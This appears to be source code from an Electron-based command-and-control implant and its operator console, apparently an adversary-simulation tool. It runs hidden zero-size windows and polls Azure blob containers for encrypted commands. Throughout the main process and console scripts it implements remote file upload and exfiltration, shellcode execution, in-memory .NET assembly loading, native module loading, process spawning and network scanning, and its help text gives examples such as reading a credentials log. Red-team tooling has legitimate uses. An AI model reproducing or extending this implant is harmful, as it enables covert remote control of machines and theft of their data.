agentwindow.loadFile('browser.html');
|
||||
}
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
if (process.platform !== 'darwin') {
|
||||
}
|
||||
});
|
||||
|
||||
async function func_Window_Exec() {
|
||||
execwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
execwindow.loadFile('assembly.html');
|
||||
}
|
||||
app.on('window-all-closed', () => {
|
||||
if (process.platform !== 'darwin') {
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
async function func_Container_Init()
|
||||
{
|
||||
if(isContainersInit == false)
|
||||
{
|
||||
//func_log(`sending IPC create-container ${agent.container.name}`);
|
||||
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid,agent.container.name);
|
||||
if (launch == false)
|
||||
{
|
||||
launch = true;
|
||||
//let nodepath = './git.node';
|
||||
//let delay = 20000; // 20s
|
||||
//agentwindow.webContents.send('do-launch',nodepath,delay);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let globalPaths = {
|
||||
scExecNodePath: "./keytar.node",
|
||||
assemblyNodePath: "./assembly.node"
|
||||
};
|
||||
|
||||
// Handle requests from renderer to get a global value
|
||||
ipcMain.handle('get-global-path', (event, key) => {
|
||||
globalPaths['scexecNodePath'] = global.scexecNodePath;
|
||||
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
|
||||
return globalPaths[key] || null; // Return the requested value
|
||||
});
|
||||
|
||||
// Allow renderer to update a global value
|
||||
ipcMain.on('set-global-path', (event, key, value) => {
|
||||
globalPaths[key] = value;
|
||||
if ( key === 'scexecNodePath' )
|
||||
{
|
||||
global.scexecNodePath = globalPaths[key];
|
||||
}else if ( key === 'assemblyNodePath' )
|
||||
{
|
||||
global.assemblyNodePath = globalPaths[key];
|
||||
}
|
||||
});
|
||||
|
||||
async function func_Input_Read()
|
||||
{
|
||||
try
|
||||
{
|
||||
func_log(`func_Input_Read() fileop = ${fileop}`);
|
||||
fileop_timer += agent.sleepinterval*1000;
|
||||
if (fileop_timer > 180) // after 3 min we wipe the file op timer and resume functionality
|
||||
{
|
||||
fileop = false;
|
||||
}
|
||||
if (isContainersInit == true && initbrowserwindow == true && fileop == false)
|
||||
{
|
||||
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed())
|
||||
{
|
||||
await agentwindow.webContents.send('input-read',agent.container.name, agent.container.blobs['in']);
|
||||
fileop_timer = 0;
|
||||
}else {
|
||||
func_log('Render frame was disposed before WebFrameMain could be accessed');
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function func_Window_Stat()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (isContainersInit == true && fileop == false && exitall == false)
|
||||
{
|
||||
if(agent.window.checkin && agent.checkin)
|
||||
{
|
||||
let elapsed_window_checkin = (Date.now() - agent.window.checkin)/1000;
|
||||
let elapsed_agent_checkin = (Date.now() - agent.checkin)/1000;
|
||||
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true) ) // modify to change spawn if no checkin time
|
||||
{
|
||||
func_log(`Creating new window with window ID ${agentwindow.id+1}`);
|
||||
let old_window = agentwindow;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
func_Window_Create();
|
||||
try
|
||||
{
|
||||
if(scexec_op == false)
|
||||
{
|
||||
old_window.close();
|
||||
}else
|
||||
{
|
||||
scexec_op = false;
|
||||
}
|
||||
}catch(err){}
|
||||
}
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(error);
|
||||
}
|
||||
}
|
||||
|
||||
app.on('ready', async () => {
|
||||
const initWindowStatus = 'ready';
|
||||
agent = new Agent();
|
||||
await func_Window_Create();
|
||||
setInterval(func_Window_Stat, 5000);
|
||||
while(true)
|
||||
{
|
||||
if(!isContainersInit)
|
||||
{
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
await func_Container_Init();
|
||||
}
|
||||
await func_Input_Read();
|
||||
func_log(`Agent.thissleep = ${agent.thissleep}`);
|
||||
if(900*1000 > agent.thissleep && agent.thissleep > 1*888)
|
||||
{
|
||||
func_log(`Sleeping for ${agent.thissleep}`);
|
||||
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
|
||||
}else
|
||||
{
|
||||
await new Promise(resolve => setTimeout(resolve, 10000));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('checkin', async (event,checkin) => {
|
||||
//func_log(`Browser window checked in with main at ${checkin}`);
|
||||
agent.window.checkin = checkin;
|
||||
});
|
||||
|
||||
ipcMain.on('poll-complete', (event,agentcheckin,inblob) => {
|
||||
// func_log(`Browser window updated input blob ${inblob} with timestamp ${agentcheckin}`);
|
||||
agent.checkin = agentcheckin;
|
||||
});
|
||||
|
||||
|
||||
ipcMain.on('do-command', async (event,command) => {
|
||||
try
|
||||
{
|
||||
let command_output = "";
|
||||
let execwin = false;
|
||||
handover = false;
|
||||
// Decode and decrypt the command received from the input channel blob
|
||||
command = await func_Base64_Decode(command);
|
||||
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
|
||||
func_log(`Decrypted command : ${command}`);
|
||||
// Parse the command arguments into array argv[]
|
||||
const argv = await func_Split_Quoted_String(command);
|
||||
let sendoutput = true;
|
||||
//log(`[+] argv: ${argv}`);
|
||||
if (argv[0] != "")
|
||||
{
|
||||
if (argv[0] === 'sleep')
|
||||
{
|
||||
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
|
||||
if(!agent.sleepinterval)
|
||||
{
|
||||
agent.sleepinterval = 5;
|
||||
}
|
||||
if(agent.sleepinterval)
|
||||
{
|
||||
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
|
||||
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
|
||||
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
|
||||
agent.thissleep = await getrand(agent.sleepinterval*1000,agent.sleepjitter);
|
||||
}else
|
||||
{
|
||||
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
|
||||
}
|
||||
}
|
||||
else if (argv[0] === 'exit-window')
|
||||
{
|
||||
agentwindow.close();
|
||||
}
|
||||
else if (argv[0] === 'exit-all')
|
||||
{
|
||||
agentwindow.close();
|
||||
exitall = true;
|
||||
}
|
||||
else if (argv[0] === 'download')
|
||||
{
|
||||
func_log(`[-] do-command download | main.js`);
|
||||
let srcpath = argv[1];
|
||||
let pushblob = argv[2];
|
||||
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
|
||||
command_output = `agent response | Started job to push ${srcpath} file to ${agent.container.name}/${pushblob}`;
|
||||
fileop = true;
|
||||
agentwindow.webContents.send('do-push-file',agent.container.name, srcpath, pushblob,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
else if (argv[0] === 'upload')
|
||||
{
|
||||
func_log(`[-] do-command upload | main.js`);
|
||||
let pullblob = argv[1];
|
||||
let dstpath = argv[2];
|
||||
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
|
||||
command_output = `agent response | Started job to pull file from ${agent.container.name}/${pullblob} to ${dstpath}`;
|
||||
fileop = true;
|
||||
agentwindow.webContents.send('do-pull-file',agent.container.name, pullblob,dstpath,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly')
|
||||
{
|
||||
|
||||
sendoutput = false;
|
||||
execwin = true;
|
||||
await func_Window_Exec();
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
if (argv[0] === 'load')
|
||||
{
|
||||
let nodepath = argv[1];
|
||||
handover = true;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('nodeload',nodepath);
|
||||
}
|
||||
}
|
||||
else if (argv[0] === 'scexec')
|
||||
{
|
||||
let encscblob = argv[1];
|
||||
handover = true;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('scexec',agent.container.name, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
}else if (argv[0] === 'assembly')
|
||||
{
|
||||
let encscblob = argv[1];
|
||||
let args = command.slice(22);
|
||||
handover = false;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('assembly',agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
|
||||
command_output = await func_Command_Handler(command,argv);
|
||||
}
|
||||
}else // if there was no argv or impromper args then return failed message to client
|
||||
{
|
||||
command_output = `Failed to execute command : ${command}`;
|
||||
}
|
||||
if(sendoutput == true && execwin == false)
|
||||
{
|
||||
func_log(`Command output : ${command_output}`);
|
||||
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
|
||||
command_output = await func_Base64_Encode(command_output);
|
||||
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('containers-created', async (event,status) => {
|
||||
func_log(`IPC containers-created recieved from browser window with status ${status}`);
|
||||
if (status == true)
|
||||
{
|
||||
isContainersInit = true;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
}else
|
||||
{
|
||||
isContainersInit = false;
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
await func_Container_Init();
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('end-file-op', async (event,ipcname,ipcoutput,key,iv) => {
|
||||
try{
|
||||
|
||||
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
|
||||
func_log(ipcoutput);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
fileop = false;
|
||||
// let command_output = await func_Encrypt(ipcoutput, key,iv);
|
||||
// command_output = await func_Base64_Encode(command_output);
|
||||
// agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
||||
if (handover === false)
|
||||
{
|
||||
//execwindow.close();
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,4 @@
|
||||
node_modules/
|
||||
dist/
|
||||
config.js
|
||||
.DS_Store
|
||||
@@ -0,0 +1,182 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Agent Terminal</title>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Fira Code', monospace;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
background-color: #1e1e1e;
|
||||
color: #c5c5c5;
|
||||
height: calc(100vh - 40px); /* Adjust height to add bottom margin */
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden; /* Prevent body from scrolling */
|
||||
}
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
color: #06883e;
|
||||
margin: 0 0 20px 0;
|
||||
}
|
||||
.console {
|
||||
background-image: url('./assets/images/agent.png');
|
||||
background-size: contain; /* Fit the image within the element */
|
||||
background-repeat: no-repeat; /* Prevent repeating */
|
||||
background-position: center; /* Center the image */
|
||||
height: 100vh; /* Full viewport height */
|
||||
width: 100%;
|
||||
background-color: #191919;
|
||||
color: #ffffff;
|
||||
padding: 10px;
|
||||
flex-grow: 1;
|
||||
overflow: auto;
|
||||
border-radius: 4px;
|
||||
display: flex;
|
||||
font-family: 'Fira Code', monospace;
|
||||
flex-direction: column;
|
||||
position: relative;
|
||||
white-space: pre-wrap;
|
||||
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
.input {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
position: relative;
|
||||
margin: 10px 0px 0px 0px;
|
||||
}
|
||||
.input-line {
|
||||
display: flex;
|
||||
width: 100%;
|
||||
}
|
||||
.input-line span {
|
||||
color: #ffffff;
|
||||
}
|
||||
#consoleInput {
|
||||
background-color: #2e2e2e;
|
||||
color: #c5c5c5;
|
||||
display: flex;
|
||||
border: 1px solid #555;
|
||||
font-size: 16px;
|
||||
width: 100%;
|
||||
outline: none;
|
||||
padding: 10px;
|
||||
border-radius: 4px;
|
||||
font-family: 'Fira Code', monospace;
|
||||
}
|
||||
#commandDropdown {
|
||||
position: absolute;
|
||||
background-color: #333;
|
||||
color: #c5c5c5;
|
||||
border: 1px solid #555;
|
||||
border-radius: 4px;
|
||||
z-index: 1000;
|
||||
max-height: 150px;
|
||||
overflow-y: auto;
|
||||
font-size: 16px;
|
||||
white-space: nowrap; /* Prevent wrapping */
|
||||
}
|
||||
#commandDropdown div {
|
||||
padding: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
#commandDropdown div:hover {
|
||||
background-color: #555;
|
||||
color: #ffffff;
|
||||
}
|
||||
table.vampire-matrix {
|
||||
width: 100%; /* Make the table consume the entire window width */
|
||||
border-collapse: collapse;
|
||||
background-color: #1c1c1c;
|
||||
box-shadow: 0 0 10px rgba(0, 255, 64, 0.5);
|
||||
}
|
||||
|
||||
table.vampire-matrix th,
|
||||
table.vampire-matrix td {
|
||||
border: 1px solid #333;
|
||||
padding: 10px 15px;
|
||||
text-align: left;
|
||||
vertical-align: middle;
|
||||
word-wrap: break-word; /* Ensure content wraps within the cell */
|
||||
}
|
||||
|
||||
table.vampire-matrix thead th {
|
||||
background-color: #333;
|
||||
color: #fff;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr {
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:hover {
|
||||
background-color: #2a2a2a;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:nth-child(even) {
|
||||
background-color: #232323;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:nth-child(odd) {
|
||||
background-color: #1a1a1a;
|
||||
}
|
||||
|
||||
table.vampire-matrix td {
|
||||
color: #fff; /* Change text color to white */
|
||||
}
|
||||
|
||||
table.vampire-matrix th {
|
||||
border-bottom: 2px solid #444;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody td:first-child {
|
||||
border-left: 2px solid #444;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody td:last-child {
|
||||
border-right: 2px solid #444;
|
||||
}
|
||||
|
||||
tr {
|
||||
height: 20px;
|
||||
max-height: 20px; /* Set your desired max-height here */
|
||||
overflow: hidden;
|
||||
}
|
||||
tr > td {
|
||||
max-height: inherit; /* Apply max height to each cell */
|
||||
overflow: hidden; /* Ensure content overflow is hidden in each cell */
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<!-- <h1>Agent Terminal</h1> -->
|
||||
<div class="agentstatus" id="agentstatus">
|
||||
<table id="agentTable" class="vampire-matrix" height="20px">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Agent ID</td>
|
||||
<td>Hostname</td>
|
||||
<td>Username</td>
|
||||
<td>Process</td>
|
||||
<td>PID</td>
|
||||
<td>IP</td>
|
||||
<td>Arch</td>
|
||||
<td>Platform</td>
|
||||
<td>Checkin</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="console" id="consoleOutput"></div>
|
||||
<div class="input">
|
||||
<div class="input-line">
|
||||
<input type="text" id="consoleInput" autocomplete="off" />
|
||||
</div>
|
||||
<div id="commandDropdown"></div>
|
||||
</div>
|
||||
<script src="agent-window.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,772 @@
|
||||
const { ipcRenderer } = require('electron');
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const crypto = require('crypto');
|
||||
const az = require('./azure');
|
||||
const { log } = require('console');
|
||||
global.historyload = false;
|
||||
global.inputload = false;
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
|
||||
|
||||
function logToFile(logFile,message) {
|
||||
try{
|
||||
//const timestamp = new Date().toISOString();
|
||||
//fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`);
|
||||
fs.appendFileSync(logFile, `${message}\n`);
|
||||
}catch(error)
|
||||
{
|
||||
log(error);
|
||||
}
|
||||
}
|
||||
|
||||
let agentid_log = '';
|
||||
let user_log = '';
|
||||
let pid_log = '';
|
||||
|
||||
let currentSuggestionIndex = -1;
|
||||
let suggestions = [];
|
||||
let containerName = '';
|
||||
let containerKey;
|
||||
let containerBlob;
|
||||
let agentObj;
|
||||
let agent;
|
||||
let window_agentid = "";
|
||||
|
||||
const commands = [
|
||||
'pwd', 'ls', 'cat', 'env', 'help',
|
||||
'spawn', 'drives', 'cat',
|
||||
'mv', 'sleep', 'cp', 'load',
|
||||
'upload', 'download','scexec','scan'
|
||||
,'exit-all','assembly','help','dns'
|
||||
];
|
||||
|
||||
const commandHistory = [];
|
||||
let currentCommandIndex = -1;
|
||||
|
||||
function generateUUID(len) {
|
||||
// Generate a random UUID
|
||||
if (len > 20){len = 20};
|
||||
const uuid = crypto.randomUUID();
|
||||
// Remove hyphens and take the first 10 characters
|
||||
const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
||||
return shortUUID;
|
||||
}
|
||||
|
||||
function timeDifference(oldTimestamp) {
|
||||
const now = Date.now();
|
||||
let diff = now - oldTimestamp;
|
||||
|
||||
// Calculate the differences in various units
|
||||
const msInSecond = 1000;
|
||||
const msInMinute = msInSecond * 60;
|
||||
const msInHour = msInMinute * 60;
|
||||
const msInDay = msInHour * 24;
|
||||
|
||||
const days = Math.floor(diff / msInDay);
|
||||
diff %= msInDay;
|
||||
const hours = Math.floor(diff / msInHour);
|
||||
diff %= msInHour;
|
||||
const minutes = Math.floor(diff / msInMinute);
|
||||
diff %= msInMinute;
|
||||
const seconds = Math.floor(diff / msInSecond);
|
||||
|
||||
// Build the result string
|
||||
let result = '';
|
||||
if (days > 0) result += `${days}d, `;
|
||||
if (hours > 0) result += `${hours}h, `;
|
||||
if (minutes > 0) result += `${minutes}m, `;
|
||||
if (seconds > 0 || result === '') result += `${seconds}s`;
|
||||
return result.trim().replace(/,\s*$/, ''); // Remove trailing comma and space
|
||||
}
|
||||
|
||||
const commandDetails = [
|
||||
{ name: "help", help: "Display help.\r\n" },
|
||||
{ name: "pwd", help: "Print working directory\r\n\tpwd\r\n" },
|
||||
{ name: "ls", help: "File and directory listing\r\n\tls [remote_path]\r\n\tls ./\r\n\tls C:/Users/user/Desktop/\r\n" },
|
||||
{ name: "cat", help: "Display contents of a file\r\n\tcat [remote_path]\r\n\tcat ./kernel.js\r\n\tcat C:/Users/user/Desktop/creds.log\r\n" },
|
||||
{ name: "env", help: "Display process environment variables\r\n\tenv\r\n" },
|
||||
{ name: "spawn", help: "Spawn a child process\r\n\tspawn [cmd]\r\n\tspawn calc.exe\r\n" },
|
||||
{ name: "drives", help: "List drives\r\n\tdrives\r\n" },
|
||||
{ name: "mv", help: "Move a file to a new destination\r\n\tmv [remote_src] [remote_dst]\r\n\t" },
|
||||
{ name: "sleep", help: "Sleep for seconds with jitter\r\n\sleep [s] [jitter%]\r\n\tsleep 20 15\r\n\t" },
|
||||
{ name: "cp", help: "Copy a file\r\n\tcp [remote_src] [remote_dst]\r\n\t" },
|
||||
//{ name: "ps", help: "Process list.\r\n\tps\r\n\t" },
|
||||
//{ name: "exit-window", help: "Exit the current window running the HTTPS comms for the implant. A new window will exec.\r\n\t" },
|
||||
{ name: "exit-all", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
|
||||
{ name: "load", help: "Load a node PE file from disk into the process\r\n\tload [remote_path]\r\n\tload ./git.node\r\n\t- Needs the ./ in front\r\n" },
|
||||
{ name: "scexec", help: "Execute shellcode\r\n\tscexec [local_path]\r\n\tscexec /operator/src/shellcode/bin\r\n" },
|
||||
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\ttassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
|
||||
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
|
||||
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
|
||||
{ name: "scan", help: "scan <host> [-p<ports>] \r\n" +
|
||||
" - The target host or CIDR range to scan.\r\n" +
|
||||
" - Options:\r\n" +
|
||||
" -p<ports> Comma-separated list of ports to scan (default: 80, 443).\r\n" +
|
||||
" Examples:\r\n" +
|
||||
" scan 192.168.1.1 -p80,443\r\n" +
|
||||
" scan 192.168.1.0/24 -p22,80,443\r\n" },
|
||||
{ name: "dns", help: "dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n" +
|
||||
" - Perform a DNS lookup on the given hostname.\r\n" +
|
||||
" - Options:\r\n" +
|
||||
" -all Get all IP addresses\r\n" +
|
||||
" -mx Get mail exchange (MX) records\r\n" +
|
||||
" -txt Get TXT records\r\n" +
|
||||
" -cname Get CNAME records\r\n" +
|
||||
" dns resolve <hostname>\r\n" +
|
||||
" - Resolve the hostname to an IP address\r\n" +
|
||||
" dns reverse <ip-address>\r\n" +
|
||||
" - Perform a reverse lookup on an IP address\r\n" +
|
||||
" dns config\r\n" +
|
||||
" - Show the current system DNS servers\r\n" +
|
||||
" dns @<server>\r\n" +
|
||||
" - Use a custom DNS server\r\n" +
|
||||
" dns @default\r\n" +
|
||||
" - Reset the DNS server config\r\n" },
|
||||
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" }
|
||||
];
|
||||
|
||||
function getHelpInfo(command) {
|
||||
// Split the command string by spaces and filter out any empty strings
|
||||
const parts = command.split(' ').filter(part => part !== '');
|
||||
// Check if the second part exists (the actual command name)
|
||||
if (parts.length > 1) {
|
||||
const cmdName = parts[1];
|
||||
// Find the command in the commands array
|
||||
const cmd = commandDetails.find(c => c.name === cmdName);
|
||||
// If command is found, return its help info, otherwise return not found message
|
||||
return cmd ? cmd.help : `No help available for command: ${cmdName}`;
|
||||
} else {
|
||||
return "Command name missing. Use 'help <commandName>'.";
|
||||
}
|
||||
}
|
||||
|
||||
function splitStringWithQuotes(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
function doDownloadFile(argv)
|
||||
{
|
||||
const downloadFile = argv[1];
|
||||
const downloadBlob = generateUUID(10);
|
||||
const download = {
|
||||
'file':downloadFile,
|
||||
'blob':downloadBlob
|
||||
}
|
||||
return download;
|
||||
}
|
||||
|
||||
function getFormattedTimestamp() {
|
||||
const now = new Date();
|
||||
const month = String(now.getMonth() + 1).padStart(2, '0'); // Months are 0-based
|
||||
const day = String(now.getDate()).padStart(2, '0');
|
||||
const year = now.getFullYear();
|
||||
let hours = now.getHours();
|
||||
const minutes = String(now.getMinutes()).padStart(2, '0');
|
||||
const ampm = hours >= 12 ? 'PM' : 'AM';
|
||||
hours = hours % 12;
|
||||
hours = hours ? hours : 12; // The hour '0' should be '12'
|
||||
const timezoneInitials = now.toLocaleTimeString('en-us', { timeZoneName: 'short' }).split(' ')[2];
|
||||
const formattedTimestamp = `${month}-${day}-${year} ${hours}:${minutes}${ampm} ${timezoneInitials}`;
|
||||
return formattedTimestamp;
|
||||
}
|
||||
|
||||
function sendCommand() {
|
||||
try
|
||||
{
|
||||
if (global.inputload === false)
|
||||
{
|
||||
return;
|
||||
}
|
||||
const input = document.getElementById('consoleInput');
|
||||
let command = input.value.trim();
|
||||
command = command.trim();
|
||||
// Add the command to the history
|
||||
commandHistory.push(command);
|
||||
let argv = splitStringWithQuotes(command);
|
||||
// Keep only the last 100 commands
|
||||
if (commandHistory.length > 1000) {
|
||||
commandHistory.shift();
|
||||
}
|
||||
currentCommandIndex = commandHistory.length;
|
||||
let PSString;
|
||||
if (agentObj)
|
||||
{
|
||||
PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">advsim</span>`
|
||||
|
||||
}
|
||||
// Check if the first word matches any command name
|
||||
let UnknownCommand = true;
|
||||
commandDetails.forEach(thiscmd => {
|
||||
if(argv[0] === thiscmd.name) { UnknownCommand = false; }
|
||||
});
|
||||
if (UnknownCommand) {
|
||||
printToConsole(`Unknown command: ${command}`);
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
}
|
||||
if (command.startsWith("help"))
|
||||
{
|
||||
let platformElement = document.querySelector("#agentTable > tbody > tr > td:nth-child(8)");
|
||||
let platform;
|
||||
|
||||
if (platformElement) {
|
||||
platform = platformElement.textContent.trim(); // Get text and remove extra spaces
|
||||
}
|
||||
if (platform)
|
||||
{
|
||||
if (platform == "macOS" || platform == "Platform" || platform == "Linux")
|
||||
{
|
||||
// Commands to remove
|
||||
const removeCommands = ["scexec", "assembly"];
|
||||
|
||||
// Iterate in reverse order to avoid index shifting issues when using splice()
|
||||
for (let i = commandDetails.length - 1; i >= 0; i--) {
|
||||
if (removeCommands.includes(commandDetails[i].name)) {
|
||||
commandDetails.splice(i, 1); // Remove in place
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (argv.length > 1) {
|
||||
let commandHelp = getHelpInfo(command);
|
||||
printToConsole(`${PSString}$ ${command}`);
|
||||
printToConsole(commandHelp);
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
}else{
|
||||
// Find the maximum length of the command names
|
||||
const maxLength = commandDetails.reduce((max, cmd) => {
|
||||
return cmd.name.length > max ? cmd.name.length : max;
|
||||
}, 0);
|
||||
|
||||
commandDetails.forEach(thiscmd => {
|
||||
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
|
||||
let cmdhelp = thiscmd.help.split('\r\n');
|
||||
cmdhelp = cmdhelp[0];
|
||||
printToConsole(`${paddedName} : ${cmdhelp}`);
|
||||
});
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
}
|
||||
}
|
||||
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
|
||||
containerCmd.key = JSON.parse(containerKey);
|
||||
containerCmd.name = containerName;
|
||||
containerCmd.cmd = command;
|
||||
let download;
|
||||
let upload = false;
|
||||
let scexec_upload = false;
|
||||
let assembly_upload = false;
|
||||
let uploadblob = "";
|
||||
let uploadfile = "";
|
||||
let argsAmountError = false;
|
||||
|
||||
|
||||
if (argv[0] === "sleep") {
|
||||
if (argv[1] === "0") {
|
||||
argv[1] = "1";
|
||||
}
|
||||
}
|
||||
|
||||
if (argv[0] == "download")
|
||||
{
|
||||
if (argv.length == 2) {
|
||||
download = doDownloadFile(argv);
|
||||
command = `download ${download['file']} ${download['blob']}`;
|
||||
containerCmd.cmd = command;
|
||||
log(`agent-window.js : IPC : pull-download-file`);
|
||||
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name
|
||||
}else{
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
if (argv[0] == "upload")
|
||||
{
|
||||
if (argv.length == 3) {
|
||||
uploadfile = argv[1];
|
||||
const destFilePath = argv[2];
|
||||
uploadblob = 'u'+generateUUID(10);
|
||||
